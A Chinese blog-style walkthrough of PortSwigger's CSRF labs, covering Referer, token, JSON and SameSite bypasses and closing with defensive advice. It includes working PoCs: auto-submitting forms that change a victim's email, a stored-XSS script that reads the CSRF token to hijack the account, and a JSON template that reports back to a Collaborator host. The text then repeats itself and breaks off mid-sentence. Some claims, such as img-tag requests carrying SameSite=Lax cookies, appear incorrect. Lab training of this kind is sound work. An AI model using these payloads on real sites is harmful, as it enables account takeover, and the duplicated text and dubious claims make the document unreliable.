1. 项目概述为什么CSRF依然是Web安全的“隐形杀手”在Web安全领域提到漏洞很多人会立刻想到SQL注入、XSS跨站脚本但有一个同样危险却常常被开发者低估的漏洞——CSRF跨站请求伪造。它就像一个“借刀杀人”的诡计攻击者诱导用户在不知情的情况下以其身份向信任的网站发起恶意请求。PortSwigger Labs作为业界公认的权威Web安全学习平台其CSRF靶场系列从最基础的漏洞原理到复杂的绕过技巧构建了一条完整的学习路径。我花了近两周时间系统性地通关了所有CSRF相关的挑战从最初的“这也能绕过”的惊讶到后来能够主动构造利用链的从容这个过程让我对CSRF的理解从理论层面彻底下沉到了实战层面。这个靶场实战的核心价值在于它不仅仅是教你点击一个按钮。它模拟了真实世界中开发者为了防御CSRF而设置的各种“路障”——从简单的Referer检查、Token验证到复杂的同源策略SOP利用、JSON劫持甚至结合其他漏洞形成组合拳。通过亲手绕过这些防御你才能真正理解防御机制的薄弱点在哪里从而在开发或审计时知道如何构建更坚固的防线。无论你是刚入门的安全爱好者还是想巩固CSRF知识体系的安全工程师这个实战过程都能让你获得远超阅读文档的深刻认知。接下来我将拆解整个实战旅程中的关键节点、绕过思路和那些令人拍案叫绝的高级利用技巧。2. 核心思路拆解理解CSRF防御与攻击的博弈本质CSRF攻击之所以能成立核心在于Web的身份认证机制通常是Cookie在请求发生时会被浏览器自动携带。防御的思路就是让服务器有能力区分“用户自愿发起的合法请求”和“攻击者伪造的恶意请求”。PortSwigger靶场的编排正是沿着防御措施的演进路线展开的。理解这场攻防博弈是通关的关键。2.1 防御机制的演进与对应攻击面主流的CSRF防御机制可以归纳为以下几类靶场也基本围绕它们设计验证请求来源Referer/Origin Header这是最直观的防御。服务器检查HTTP请求头中的Referer或Origin字段判断请求是否来自同源站点。攻击思路就是让这个检查失效比如利用HTTPS到HTTP的Referer剥离、利用meta标签刷新或某些浏览器的隐私设置来构造一个“合法”或“空”的Referer。使用CSRF Token这是目前最有效的防御手段之一。服务器在表单中嵌入一个随机、不可预测的Token提交时验证该Token。攻击思路从窃取Token如结合XSS到绕过Token验证逻辑如Token未绑定会话、可重复使用、校验逻辑缺陷。自定义请求头通过JavaScript在请求中添加一个自定义Header如X-Requested-With: XMLHttpRequest并验证其存在。这依赖于同源策略SOP对自定义请求头的限制。攻击思路是寻找不依赖JavaScript的请求方式或者利用CORS配置缺陷来绕过SOP。双重Cookie验证将Token放在Cookie中请求时再从Cookie或请求体中读取并比对。这听起来很安全但攻击思路在于利用子域Cookie作用域或诱导用户触发某些请求来间接利用。SameSite Cookie属性这是浏览器层面的防御通过设置Cookie的SameSite属性为Strict或Lax可以极大限制跨站请求携带Cookie。攻击思路则聚焦于寻找SameSite为None或未设置的Cookie或者利用GET请求进行攻击SameSiteLax允许顶级导航的GET请求携带Cookie。靶场的挑战就是让你站在攻击者角度逐一击破这些防御。我的整体思路是面对一个功能点如修改邮箱首先用Burp Suite抓包分析其请求特征和现有的防御措施然后根据防御类型在脑海中快速匹配可能的绕过姿势最后构造PoC概念验证页面进行测试。2.2 工具准备与测试环境搭建工欲善其事必先利其器。虽然PortSwigger Labs是在线环境但高效的测试离不开本地工具链。浏览器与代理我主要使用Chrome或Firefox配合Burp Suite Professional。Burp的代理、重放Repeater、漏洞扫描Scanner和协同测试Collaborator功能贯穿始终。社区版Burp Suite Community虽然功能受限但用于抓包和手动重放也完全足够。本地PoC开发环境一个简单的HTTP服务器至关重要。我习惯用Python快速搭建python3 -m http.server 8000。这样我可以在本地创建exploit.html文件通过http://localhost:8000/exploit.html访问并触发攻击。复杂一点的场景可能会用到Node.js的express框架来模拟一个恶意站点。浏览器扩展辅助有些挑战需要修改请求头或Cookie我会使用如ModHeader这样的扩展来临时添加或删除特定的HTTP头非常方便。思维导图工具我用XMind来梳理CSRF的绕过树状图。将防御手段作为主干各种绕过技巧作为分支每完成一个靶场就在对应分支上标记。这有助于形成体系化的知识网络看到一个新的防御时能快速联想可能的攻击路径。注意在测试涉及修改邮箱、转账等敏感操作的CSRF时务必使用靶场提供的测试账户切勿在真实网站上进行任何未经授权的测试这是职业道德和法律底线。3. 基础绕过实战撕开第一道防线靶场的前几个挑战通常设计为“无防护”或“简单防护”状态目的是让我们熟悉CSRF攻击的基本构造和PortSwigger靶场的环境。但即便是基础关卡也暗藏玄机。3.1 无Token验证的简单CSRF这是最经典的场景。假设有一个修改邮箱的POST请求表单如下form actionhttps://vulnerable-website.com/email/change methodPOST input typeemail nameemail valueattackerevil.com /form攻击者只需要在自己的恶意站点上构造一个自动提交的表单并利用iframe或直接诱导用户访问即可。!-- exploit.html -- body onloaddocument.forms[0].submit() form actionhttps://vulnerable-website.com/email/change methodPOST input typehidden nameemail valuehackedevil.com /form /body实操要点这里的关键是onload事件和hidden属性。onload确保页面加载后自动提交hidden隐藏输入框用户毫无感知。在靶场中你可能会发现请求体是JSON格式{email:newmail.com}这时传统的form无法直接提交JSON。你需要使用fetchAPI或XMLHttpRequest来构造请求但这会受到同源策略限制除非目标站点CORS配置不当。靶场早期关卡会引导你思考这种差异。3.2 绕过Referer检查当服务器开始检查Referer头时攻击变得稍微复杂。常见的检查逻辑有包含特定域名检查Referer是否包含trusted-domain.com。排除特定域名检查Referer是否不来自evil.com。为空时通过一些配置错误的检查会在Referer为空或缺失时默认通过。绕过方法1利用Referer剥离。如果目标站是HTTPS而你的攻击页面是HTTP在某些浏览器或网络架构如部署了某些反向代理或安全网关中从HTTPS页面发起到HTTP的请求浏览器出于安全考虑可能不会发送Referer头。你可以搭建一个简单的HTTP页面来测试。绕过方法2利用meta标签或JavaScript控制导航。你可以构造一个页面先通过meta http-equivrefresh content0;URLhttps://vulnerable-website.com/evil-action或window.location进行跳转。对于紧随其后的请求Referer可能是跳转前的页面即你的恶意页面也可能是空这取决于浏览器实现和跳转方式需要实测。绕过方法3伪造Referer。如果检查只是“包含某字符串”你可以尝试将恶意页面放在一个子域名下例如https://trusted-domain.com.attacker-website.net/exploit.html。粗心的正则匹配可能会中招。更高级的可以利用服务器端请求伪造SSRF或开放重定向漏洞让请求看起来是从可信域内部发起的。在一个靶场挑战中我遇到了检查Referer是否包含目标域名自身的场景。我最初的攻击页面部署在evil.netReferer自然是evil.net被拦截。后来我将攻击页面通过数据URLdata:text/html,form...) 的方式嵌入到一个指向目标域的iframe中由于数据URL没有传统域名触发请求时的Referer在某些情况下为空成功绕过了检查。这个技巧提醒我“空值”或“异常值”往往是绕过校验的突破口。4. 中级对抗破解CSRF Token防御当靶场引入CSRF Token时游戏才真正开始。Token的本质是增加攻击的不可预测性但实现上的瑕疵会使其形同虚设。4.1 Token与Session绑定不严最理想的Token应该与用户会话Session唯一绑定且一次性使用。但我在靶场中遇到过以下几种有问题的实现Token未绑定会话所有用户共享同一个Token或者Token基于时间等可预测因子生成。攻击者可以先访问自己的账户页面获取有效的Token然后将其用于攻击其他用户的请求中。在Burp Repeater中你可以用两个不同的会话两个浏览器或两个Burp标签页分别抓取Token和提交请求验证其是否通用。Token可重复使用Token在使用后没有被服务器立即废弃导致可以被重复使用多次。这意味着攻击者只要获取一次Token例如通过诱使用户访问一个包含获取Token请求的页面就可以用这个Token发起多次CSRF攻击。测试方法是用同一个Token连续发送两次修改请求看第二次是否成功。Token放在Cookie中这是一种有缺陷的“双重Cookie”验证变体。服务器将Token设置在Cookie中提交表单时再从请求体Body或另一个Header中读取Token并与Cookie中的值比对。这看起来安全因为攻击者无法读取或设置目标站的Cookie同源策略。但是如果网站存在任何子域或路径下的XSS漏洞攻击者就可以利用它窃取这个Token Cookie。更直接的是如果服务器错误地信任了来自其他子域的请求CORS配置错误攻击者甚至可以直接读取Cookie。4.2 利用逻辑缺陷绕过Token验证有些漏洞不在于Token本身而在于验证逻辑。删除Token参数服务器可能同时检查请求中是否存在Token参数和其值是否正确。但如果攻击者完全删除csrf这个参数服务器可能会因为找不到该参数而跳过检查。在Burp Repeater中尝试直接删除包含Token的整行参数然后发送请求。修改请求方法验证逻辑可能只针对POST请求而对GET请求不做Token检查。尝试将POST请求改为GET并将参数附加在URL后面注意URL长度限制。例如将POST /change-email改为GET /change-email?emailhackedevil.com。Token位置混淆服务器可能从固定位置如Body取Token但代码逻辑允许从多个位置Body、Header、URL参数读取并取第一个非空值。攻击者可以在Body中放置一个错误Token同时在Header如X-CSRF-Token中放置正确的Token。如果服务器验证逻辑是“Header优先”且只验证第一个找到的Token那么Body中的错误Token就会被忽略。我记忆深刻的一个靶场关卡其Token验证存在一个顺序解析漏洞。它先检查请求头X-CSRF-Token再检查Body中的csrf参数。但它的逻辑是如果Header存在且正确则通过如果Header不存在或错误则再去检查Body。我构造的PoC在HTML中无法直接设置自定义Header传统表单不行但我发现该站允许Content-Type: text/plain的POST请求并且其解析器会以某种方式解析参数。我最终通过一个特殊的fetch请求同时设置了自定义Header和Body成功误导了服务器的校验流程。这个过程让我明白仔细阅读服务器对请求的解析和校验顺序往往能发现逻辑死角。5. 高级利用链剖析当CSRF遇上其他漏洞PortSwigger靶场的高阶部分精彩之处在于将CSRF与其他漏洞结合构建出令人意想不到的攻击链。这模拟了真实网络攻击中“组合拳”的威力。5.1 CSRF XSSToken窃取与权限升级这是最经典的组合。如果一个网站存在存储型XSS漏洞攻击者就可以注入恶意脚本。当其他用户浏览到该页面时脚本执行可以轻松读取页面中的CSRF Token因为Token通常就藏在页面的HTML或JavaScript变量里然后利用这个Token发起一个“完美”的CSRF请求。实战场景靶场提供了一个博客评论功能存在XSS。我在评论中插入以下脚本script fetch(/my-account, {credentials: include}) .then(r r.text()) .then(html { // 使用DOM解析从HTML中提取CSRF Token let parser new DOMParser(); let doc parser.parseFromString(html, text/html); let token doc.querySelector(input[namecsrf]).value; // 使用窃取的Token发起CSRF攻击 fetch(/my-account/change-email, { method: POST, headers: {Content-Type: application/x-www-form-urlencoded}, body: emailattackerevil.comcsrf${token}, credentials: include }); }); /script当管理员或任何用户查看这条评论时他们的邮箱会在后台被悄无声息地修改。这个链路的可怕之处在于它完全在后台发生无需用户交互且因为使用了合法的Token能绕过所有基于Token的防御。5.2 基于JSON的CSRF与Content-Type绕过现代Web应用常用JSON API。CSRF攻击JSON接口的难点在于浏览器在发送跨域请求时对于Content-Type: application/json的请求会先发送一个OPTIONS预检请求Preflight。如果服务器CORS策略不允许跨域则实际请求会被浏览器阻止。绕过技巧1利用Content-Type: text/plain。有些服务器端框架如某些旧版本或配置不当的在处理请求时会根据Content-Type来解析Body。如果服务器端代码逻辑是“如果是JSON就解析JSON否则按其他方式解析”并且处理函数最终仍能处理JSON格式的数据那么攻击者可以将Content-Type改为text/plain而Body仍然是JSON字符串。这样浏览器不会触发预检请求可以发出。服务器可能因为Content-Type不匹配而按默认方式解析但如果解析库足够“宽容”JSON数据依然能被正确提取。绕过技巧2利用HTML表单的默认行为。HTML表单的enctype属性默认为application/x-www-form-urlencoded无法直接提交JSON。但是你可以通过隐藏的input元素模拟JSON结构吗不行。然而有些服务器API设计存在缺陷它可能同时支持表单格式和JSON格式并且处理逻辑存在优先级或覆盖问题。我曾在一个靶场中发现其API虽然声明接收JSON但后端代码会先尝试解析表单参数如果存在email参数就直接使用忽略JSON Body。于是我用一个普通的表单提交application/x-www-form-urlencoded数据就成功攻击了本该需要JSON的接口。5.3 利用Cookie作用域与SameSite属性SameSiteCookie属性是现代浏览器防御CSRF的利器。SameSiteStrict最安全完全禁止跨站携带Lax允许从外部链接进行顶级导航的GET请求携带Cookie。攻击思路寻找未设置SameSite的Cookie很多旧系统或配置疏忽的站点其会话Cookie没有设置SameSite属性默认为None在较新浏览器中默认策略已趋严但仍有大量存量。这些Cookie就是CSRF攻击的绝佳目标。攻击GET请求即使Cookie设置了SameSiteLax对于GET请求如图片标签img的src、表单的GET方法、a链接点击在用户主动触发顶级导航时Cookie依然会被携带。因此将敏感操作如删除账户GET /delete-account设计成GET方法是极其危险的。利用子域如果Cookie的Domain属性设置为.example.com包含前导点那么它在所有子域如app.example.com、admin.example.com都是有效的。如果admin.example.com存在XSS攻击者可以利用它向app.example.com发起CSRF因为Cookie是共享的。在一个高级靶场中目标站点的会话Cookie设置了SameSiteLax但有一个关键的OAuth授权确认端点使用了GET请求并且该请求会修改用户状态。我构造了一个恶意页面其中包含一个隐藏的img标签其src指向这个授权端点。当用户访问我的页面时浏览器会加载这个图片发起一个GET请求。由于是GET请求且是跨站的SameSiteLax的Cookie被成功携带攻击生效。这个案例警示我们SameSiteLax并非万能不安全的HTTP方法GET设计会使其防御失效。6. 疑难问题排查与技巧实录在实战过程中我遇到了不少坑也总结了一些排查技巧。6.1 请求发出去了但为什么没生效这是最常见的问题。我的排查清单如下检查响应状态码在Burp Repeater或浏览器开发者工具的网络面板中确认请求是否返回了200 OK或302 Found等成功状态码。有时服务器处理了请求但业务逻辑失败会返回200但Body中有错误信息。检查响应内容仔细阅读响应Body。服务器可能会返回“Token无效”、“Referer不正确”或“参数错误”等明确信息。确认Cookie是否携带确保你的PoC页面与目标站是跨域的不同协议域名端口。在同源页面测试CSRF是无效的因为那本身就是合法请求。使用浏览器开发者工具查看发送的请求头中是否确实包含了Cookie字段。验证请求格式对比合法请求和你的攻击请求确保请求方法GET/POST、Content-Type、参数名称和格式JSON/表单完全一致。一个多余的空格或错误的编码都可能导致失败。注意用户交互状态有些操作可能需要用户处于“已登录且会话活跃”状态。如果你的PoC页面在用户登录后很久才被打开会话可能已过期。可以尝试在PoC中先通过一个隐藏的iframe访问一下目标站的主页以“唤醒”会话。6.2 高级技巧使用Burp Collaborator探测盲点对于盲CSRF即攻击没有直接回显判断请求是否成功发出有时很困难。Burp Suite Professional的Collaborator功能是神器。使用场景当你怀疑某个请求可能被服务器接收并处理但无法从响应中直接看出时例如修改后台配置、触发后台任务。操作方法在Burp中打开Collaborator获取一个临时域名如xxxxx.oastify.com。在你的CSRF PoC中将某个请求参数如邮箱地址、回调URL的值设置为Collaborator域名例如将邮箱改为hackedxxxxx.oastify.com。诱使目标或你自己在测试账户下触发这个PoC。回到Burp Collaborator界面点击“Poll now”。如果目标服务器在处理你的CSRF请求时向外发起了任何网络请求例如发送确认邮件到hackedxxxxx.oastify.com或者请求了你嵌入的Collaborator URL这里就会显示出来。通过这种方式你可以确认CSRF请求是否被成功执行即使目标应用本身没有任何视觉上的变化。在一个靶场挑战中我就是利用Collaborator发现服务器在处理CSRF请求后会向管理员邮箱发送一个通知邮件而这个邮件地址我可以通过参数控制从而间接证明了漏洞的存在。6.3 针对JSON接口的CSRF PoC构造模板对于需要发送JSON的CSRF如果绕过预检成功一个通用的PoC模板如下!DOCTYPE html html body script // 假设目标端点和JSON数据 const targetUrl https://vulnerable.com/api/user/email; const jsonData JSON.stringify({ email: attackerevil.com }); // 方法1使用fetch并尝试绕过预检需要服务器CORS配置允许 // 注意如果服务器不允许跨域此方法会被浏览器阻止 fetch(targetUrl, { method: POST, headers: { Content-Type: application/json, // 或尝试 text/plain }, body: jsonData, credentials: include // 携带Cookie }).then(response { console.log(Request sent, status:, response.status); // 可以在这里用Collaborator域名发起一个请求作为通知 fetch(https://YOUR_COLLABORATOR.oastify.com/?status response.status); }).catch(err console.error(Error:, err)); // 方法2动态创建表单仅适用于服务器能错误处理JSON的情况不推荐 // 这种方法无法设置Content-Type为application/json成功率低。 /script h1Loading.../h1 /body /html在实际测试中优先使用方法1并配合修改Content-Type和观察CORS策略。如果失败再深入分析服务器是否有可能接受非JSON格式的请求。7. 防御措施建议从攻击者视角加固你的应用经历了这一系列绕过再回过头来看防御视角会完全不同。以下是我从攻击者角度总结的、真正有效的CSRF防御最佳实践使用同步器令牌模式Synchronizer Token Pattern并确保正确实现随机且不可预测Token必须是密码学安全的随机数。绑定会话Token必须与当前用户会话唯一关联。一次性使用重要操作如修改密码、邮箱的Token应在验证后立即失效。安全存储与传递Token应放在隐藏的表单字段或自定义HTTP头如X-CSRF-Token中切勿放在URL或Cookie中作为主要验证凭据。验证逻辑严谨严格比较提交的Token与服务器存储的是否一致并确保校验逻辑在所有相关端点都被执行。实施双重提交CookieDouble Submit Cookie的升级版 传统方式有缺陷。更安全的方式是服务器在Cookie中设置一个随机值如CSRF-TOKEN同时在每个响应中如页面HTML的meta标签也输出这个值。前端JavaScript读取这个值并在发送请求时将其作为一个自定义Header如X-CSRF-Token发送。服务器比较Cookie中的值和Header中的值是否一致。因为攻击者无法读取或设置目标站的Cookie同源策略所以他无法构造正确的Header。严格设置Cookie的SameSite属性对于会话Cookie始终设置为SameSiteStrict或Lax。只有确定需要跨站共享的Cookie如第三方登录、嵌入组件才设置为SameSiteNone并且必须同时设置Secure属性仅限HTTPS。对敏感操作使用安全方法遵循RESTful规范使用POST、PUT、PATCH、DELETE等非幂等方法执行状态修改操作避免使用GET。增加用户交互对于关键操作如转账、删除账户要求用户进行二次确认输入密码、验证码等这能有效增加CSRF攻击的难度。实施深度防御检查Origin/Referer头作为辅助手段验证请求是否来自预期的源。但要知道Referer可能被屏蔽或伪造不能作为唯一依赖。使用自定义请求头如前所述结合JavaScript添加自定义头如X-Requested-With并验证其存在。这能阻挡大部分简单的跨站表单提交。定期安全审计与测试使用自动化工具如Burp Scanner和手动测试定期对应用进行CSRF漏洞扫描。特别是关注API接口和状态变更端点。完成整个PortSwigger Labs的CSRF靶场就像完成了一次从新兵到侦察兵的训练。它教会我的不仅是技巧更是一种思维模式永远不要相信来自客户端的任何数据永远要以最坏的恶意去揣测每一个请求的来历。防御CSRF本质上是一场关于“意图验证”的战争。作为开发者你的代码必须有能力回答一个问题“这个请求真的是用户本意想发的吗” 而作为安全研究者你的任务就是找出所有能让这个问题得到错误答案的方法。这场博弈永无止境。
1. 项目概述为什么CSRF依然是Web安全的“隐形杀手”在Web安全领域提到漏洞很多人会立刻想到SQL注入、XSS跨站脚本但有一个同样危险却常常被开发者低估的漏洞——CSRF跨站请求伪造。它就像一个“借刀杀人”的诡计攻击者诱导用户在不知情的情况下以其身份向信任的网站发起恶意请求。PortSwigger Labs作为业界公认的权威Web安全学习平台其CSRF靶场系列从最基础的漏洞原理到复杂的绕过技巧构建了一条完整的学习路径。我花了近两周时间系统性地通关了所有CSRF相关的挑战从最初的“这也能绕过”的惊讶到后来能够主动构造利用链的从容这个过程让我对CSRF的理解从理论层面彻底下沉到了实战层面。这个靶场实战的核心价值在于它不仅仅是教你点击一个按钮。它模拟了真实世界中开发者为了防御CSRF而设置的各种“路障”——从简单的Referer检查、Token验证到复杂的同源策略SOP利用、JSON劫持甚至结合其他漏洞形成组合拳。通过亲手绕过这些防御你才能真正理解防御机制的薄弱点在哪里从而在开发或审计时知道如何构建更坚固的防线。无论你是刚入门的安全爱好者还是想巩固CSRF知识体系的安全工程师这个实战过程都能让你获得远超阅读文档的深刻认知。接下来我将拆解整个实战旅程中的关键节点、绕过思路和那些令人拍案叫绝的高级利用技巧。2. 核心思路拆解理解CSRF防御与攻击的博弈本质CSRF攻击之所以能成立核心在于Web的身份认证机制通常是Cookie在请求发生时会被浏览器自动携带。防御的思路就是让服务器有能力区分“用户自愿发起的合法请求”和“攻击者伪造的恶意请求”。PortSwigger靶场的编排正是沿着防御措施的演进路线展开的。理解这场攻防博弈是通关的关键。2.1 防御机制的演进与对应攻击面主流的CSRF防御机制可以归纳为以下几类靶场也基本围绕它们设计验证请求来源Referer/Origin Header这是最直观的防御。服务器检查HTTP请求头中的Referer或Origin字段判断请求是否来自同源站点。攻击思路就是让这个检查失效比如利用HTTPS到HTTP的Referer剥离、利用meta标签刷新或某些浏览器的隐私设置来构造一个“合法”或“空”的Referer。使用CSRF Token这是目前最有效的防御手段之一。服务器在表单中嵌入一个随机、不可预测的Token提交时验证该Token。攻击思路从窃取Token如结合XSS到绕过Token验证逻辑如Token未绑定会话、可重复使用、校验逻辑缺陷。自定义请求头通过JavaScript在请求中添加一个自定义Header如X-Requested-With: XMLHttpRequest并验证其存在。这依赖于同源策略SOP对自定义请求头的限制。攻击思路是寻找不依赖JavaScript的请求方式或者利用CORS配置缺陷来绕过SOP。双重Cookie验证将Token放在Cookie中请求时再从Cookie或请求体中读取并比对。这听起来很安全但攻击思路在于利用子域Cookie作用域或诱导用户触发某些请求来间接利用。SameSite Cookie属性这是浏览器层面的防御通过设置Cookie的SameSite属性为Strict或Lax可以极大限制跨站请求携带Cookie。攻击思路则聚焦于寻找SameSite为None或未设置的Cookie或者利用GET请求进行攻击SameSiteLax允许顶级导航的GET请求携带Cookie。靶场的挑战就是让你站在攻击者角度逐一击破这些防御。我的整体思路是面对一个功能点如修改邮箱首先用Burp Suite抓包分析其请求特征和现有的防御措施然后根据防御类型在脑海中快速匹配可能的绕过姿势最后构造PoC概念验证页面进行测试。2.2 工具准备与测试环境搭建工欲善其事必先利其器。虽然PortSwigger Labs是在线环境但高效的测试离不开本地工具链。浏览器与代理我主要使用Chrome或Firefox配合Burp Suite Professional。Burp的代理、重放Repeater、漏洞扫描Scanner和协同测试Collaborator功能贯穿始终。社区版Burp Suite Community虽然功能受限但用于抓包和手动重放也完全足够。本地PoC开发环境一个简单的HTTP服务器至关重要。我习惯用Python快速搭建python3 -m http.server 8000。这样我可以在本地创建exploit.html文件通过http://localhost:8000/exploit.html访问并触发攻击。复杂一点的场景可能会用到Node.js的express框架来模拟一个恶意站点。浏览器扩展辅助有些挑战需要修改请求头或Cookie我会使用如ModHeader这样的扩展来临时添加或删除特定的HTTP头非常方便。思维导图工具我用XMind来梳理CSRF的绕过树状图。将防御手段作为主干各种绕过技巧作为分支每完成一个靶场就在对应分支上标记。这有助于形成体系化的知识网络看到一个新的防御时能快速联想可能的攻击路径。注意在测试涉及修改邮箱、转账等敏感操作的CSRF时务必使用靶场提供的测试账户切勿在真实网站上进行任何未经授权的测试这是职业道德和法律底线。3. 基础绕过实战撕开第一道防线靶场的前几个挑战通常设计为“无防护”或“简单防护”状态目的是让我们熟悉CSRF攻击的基本构造和PortSwigger靶场的环境。但即便是基础关卡也暗藏玄机。3.1 无Token验证的简单CSRF这是最经典的场景。假设有一个修改邮箱的POST请求表单如下form actionhttps://vulnerable-website.com/email/change methodPOST input typeemail nameemail valueattackerevil.com /form攻击者只需要在自己的恶意站点上构造一个自动提交的表单并利用iframe或直接诱导用户访问即可。!-- exploit.html -- body onloaddocument.forms[0].submit() form actionhttps://vulnerable-website.com/email/change methodPOST input typehidden nameemail valuehackedevil.com /form /body实操要点这里的关键是onload事件和hidden属性。onload确保页面加载后自动提交hidden隐藏输入框用户毫无感知。在靶场中你可能会发现请求体是JSON格式{email:newmail.com}这时传统的form无法直接提交JSON。你需要使用fetchAPI或XMLHttpRequest来构造请求但这会受到同源策略限制除非目标站点CORS配置不当。靶场早期关卡会引导你思考这种差异。3.2 绕过Referer检查当服务器开始检查Referer头时攻击变得稍微复杂。常见的检查逻辑有包含特定域名检查Referer是否包含trusted-domain.com。排除特定域名检查Referer是否不来自evil.com。为空时通过一些配置错误的检查会在Referer为空或缺失时默认通过。绕过方法1利用Referer剥离。如果目标站是HTTPS而你的攻击页面是HTTP在某些浏览器或网络架构如部署了某些反向代理或安全网关中从HTTPS页面发起到HTTP的请求浏览器出于安全考虑可能不会发送Referer头。你可以搭建一个简单的HTTP页面来测试。绕过方法2利用meta标签或JavaScript控制导航。你可以构造一个页面先通过meta http-equivrefresh content0;URLhttps://vulnerable-website.com/evil-action或window.location进行跳转。对于紧随其后的请求Referer可能是跳转前的页面即你的恶意页面也可能是空这取决于浏览器实现和跳转方式需要实测。绕过方法3伪造Referer。如果检查只是“包含某字符串”你可以尝试将恶意页面放在一个子域名下例如https://trusted-domain.com.attacker-website.net/exploit.html。粗心的正则匹配可能会中招。更高级的可以利用服务器端请求伪造SSRF或开放重定向漏洞让请求看起来是从可信域内部发起的。在一个靶场挑战中我遇到了检查Referer是否包含目标域名自身的场景。我最初的攻击页面部署在evil.netReferer自然是evil.net被拦截。后来我将攻击页面通过数据URLdata:text/html,form...) 的方式嵌入到一个指向目标域的iframe中由于数据URL没有传统域名触发请求时的Referer在某些情况下为空成功绕过了检查。这个技巧提醒我“空值”或“异常值”往往是绕过校验的突破口。4. 中级对抗破解CSRF Token防御当靶场引入CSRF Token时游戏才真正开始。Token的本质是增加攻击的不可预测性但实现上的瑕疵会使其形同虚设。4.1 Token与Session绑定不严最理想的Token应该与用户会话Session唯一绑定且一次性使用。但我在靶场中遇到过以下几种有问题的实现Token未绑定会话所有用户共享同一个Token或者Token基于时间等可预测因子生成。攻击者可以先访问自己的账户页面获取有效的Token然后将其用于攻击其他用户的请求中。在Burp Repeater中你可以用两个不同的会话两个浏览器或两个Burp标签页分别抓取Token和提交请求验证其是否通用。Token可重复使用Token在使用后没有被服务器立即废弃导致可以被重复使用多次。这意味着攻击者只要获取一次Token例如通过诱使用户访问一个包含获取Token请求的页面就可以用这个Token发起多次CSRF攻击。测试方法是用同一个Token连续发送两次修改请求看第二次是否成功。Token放在Cookie中这是一种有缺陷的“双重Cookie”验证变体。服务器将Token设置在Cookie中提交表单时再从请求体Body或另一个Header中读取Token并与Cookie中的值比对。这看起来安全因为攻击者无法读取或设置目标站的Cookie同源策略。但是如果网站存在任何子域或路径下的XSS漏洞攻击者就可以利用它窃取这个Token Cookie。更直接的是如果服务器错误地信任了来自其他子域的请求CORS配置错误攻击者甚至可以直接读取Cookie。4.2 利用逻辑缺陷绕过Token验证有些漏洞不在于Token本身而在于验证逻辑。删除Token参数服务器可能同时检查请求中是否存在Token参数和其值是否正确。但如果攻击者完全删除csrf这个参数服务器可能会因为找不到该参数而跳过检查。在Burp Repeater中尝试直接删除包含Token的整行参数然后发送请求。修改请求方法验证逻辑可能只针对POST请求而对GET请求不做Token检查。尝试将POST请求改为GET并将参数附加在URL后面注意URL长度限制。例如将POST /change-email改为GET /change-email?emailhackedevil.com。Token位置混淆服务器可能从固定位置如Body取Token但代码逻辑允许从多个位置Body、Header、URL参数读取并取第一个非空值。攻击者可以在Body中放置一个错误Token同时在Header如X-CSRF-Token中放置正确的Token。如果服务器验证逻辑是“Header优先”且只验证第一个找到的Token那么Body中的错误Token就会被忽略。我记忆深刻的一个靶场关卡其Token验证存在一个顺序解析漏洞。它先检查请求头X-CSRF-Token再检查Body中的csrf参数。但它的逻辑是如果Header存在且正确则通过如果Header不存在或错误则再去检查Body。我构造的PoC在HTML中无法直接设置自定义Header传统表单不行但我发现该站允许Content-Type: text/plain的POST请求并且其解析器会以某种方式解析参数。我最终通过一个特殊的fetch请求同时设置了自定义Header和Body成功误导了服务器的校验流程。这个过程让我明白仔细阅读服务器对请求的解析和校验顺序往往能发现逻辑死角。5. 高级利用链剖析当CSRF遇上其他漏洞PortSwigger靶场的高阶部分精彩之处在于将CSRF与其他漏洞结合构建出令人意想不到的攻击链。这模拟了真实网络攻击中“组合拳”的威力。5.1 CSRF XSSToken窃取与权限升级这是最经典的组合。如果一个网站存在存储型XSS漏洞攻击者就可以注入恶意脚本。当其他用户浏览到该页面时脚本执行可以轻松读取页面中的CSRF Token因为Token通常就藏在页面的HTML或JavaScript变量里然后利用这个Token发起一个“完美”的CSRF请求。实战场景靶场提供了一个博客评论功能存在XSS。我在评论中插入以下脚本script fetch(/my-account, {credentials: include}) .then(r r.text()) .then(html { // 使用DOM解析从HTML中提取CSRF Token let parser new DOMParser(); let doc parser.parseFromString(html, text/html); let token doc.querySelector(input[namecsrf]).value; // 使用窃取的Token发起CSRF攻击 fetch(/my-account/change-email, { method: POST, headers: {Content-Type: application/x-www-form-urlencoded}, body: emailattackerevil.comcsrf${token}, credentials: include }); }); /script当管理员或任何用户查看这条评论时他们的邮箱会在后台被悄无声息地修改。这个链路的可怕之处在于它完全在后台发生无需用户交互且因为使用了合法的Token能绕过所有基于Token的防御。5.2 基于JSON的CSRF与Content-Type绕过现代Web应用常用JSON API。CSRF攻击JSON接口的难点在于浏览器在发送跨域请求时对于Content-Type: application/json的请求会先发送一个OPTIONS预检请求Preflight。如果服务器CORS策略不允许跨域则实际请求会被浏览器阻止。绕过技巧1利用Content-Type: text/plain。有些服务器端框架如某些旧版本或配置不当的在处理请求时会根据Content-Type来解析Body。如果服务器端代码逻辑是“如果是JSON就解析JSON否则按其他方式解析”并且处理函数最终仍能处理JSON格式的数据那么攻击者可以将Content-Type改为text/plain而Body仍然是JSON字符串。这样浏览器不会触发预检请求可以发出。服务器可能因为Content-Type不匹配而按默认方式解析但如果解析库足够“宽容”JSON数据依然能被正确提取。绕过技巧2利用HTML表单的默认行为。HTML表单的enctype属性默认为application/x-www-form-urlencoded无法直接提交JSON。但是你可以通过隐藏的input元素模拟JSON结构吗不行。然而有些服务器API设计存在缺陷它可能同时支持表单格式和JSON格式并且处理逻辑存在优先级或覆盖问题。我曾在一个靶场中发现其API虽然声明接收JSON但后端代码会先尝试解析表单参数如果存在email参数就直接使用忽略JSON Body。于是我用一个普通的表单提交application/x-www-form-urlencoded数据就成功攻击了本该需要JSON的接口。5.3 利用Cookie作用域与SameSite属性SameSiteCookie属性是现代浏览器防御CSRF的利器。SameSiteStrict最安全完全禁止跨站携带Lax允许从外部链接进行顶级导航的GET请求携带Cookie。攻击思路寻找未设置SameSite的Cookie很多旧系统或配置疏忽的站点其会话Cookie没有设置SameSite属性默认为None在较新浏览器中默认策略已趋严但仍有大量存量。这些Cookie就是CSRF攻击的绝佳目标。攻击GET请求即使Cookie设置了SameSiteLax对于GET请求如图片标签img的src、表单的GET方法、a链接点击在用户主动触发顶级导航时Cookie依然会被携带。因此将敏感操作如删除账户GET 